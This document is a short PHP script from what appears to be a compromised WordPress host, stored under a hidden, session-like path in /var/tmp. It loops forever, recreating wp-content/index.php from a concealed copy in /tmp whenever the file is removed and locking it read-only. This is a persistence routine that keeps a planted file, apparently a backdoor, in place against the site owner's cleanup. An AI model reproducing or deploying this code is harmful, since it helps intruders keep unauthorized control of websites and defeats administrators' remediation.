File: //var/tmp/.PHPSESSID/.L2hvbWUvaG9uZ2hvY2svcHVibGljX2h0bWwvd3AtY29udGVudGluZGV4cGhwLWhhbmRsZXI=
<?php
@ini_set("max_execution_time", 0);
while (true) {
if (!file_exists("/home/honghock/public_html/wp-content")) {
mkdir("/home/honghock/public_html/wp-content");
}
if (!file_exists("/home/honghock/public_html/wp-content/index.php")) {
$text = base64_encode(file_get_contents("/tmp/.PHPSESSID/.L2hvbWUvaG9uZ2hvY2svcHVibGljX2h0bWwvd3AtY29udGVudGluZGV4cGhwLXRleHQtZmlsZQ=="));
file_put_contents("/home/honghock/public_html/wp-content/index.php", base64_decode($text));
}
if (lolcatsperm("/home/honghock/public_html/wp-content/index.php") != 0444) {
chmod("/home/honghock/public_html/wp-content/index.php", 0444);
}
}
function lolcatsperm($filename) {
return substr(sprintf("%o", fileperms($filename)), -4);
}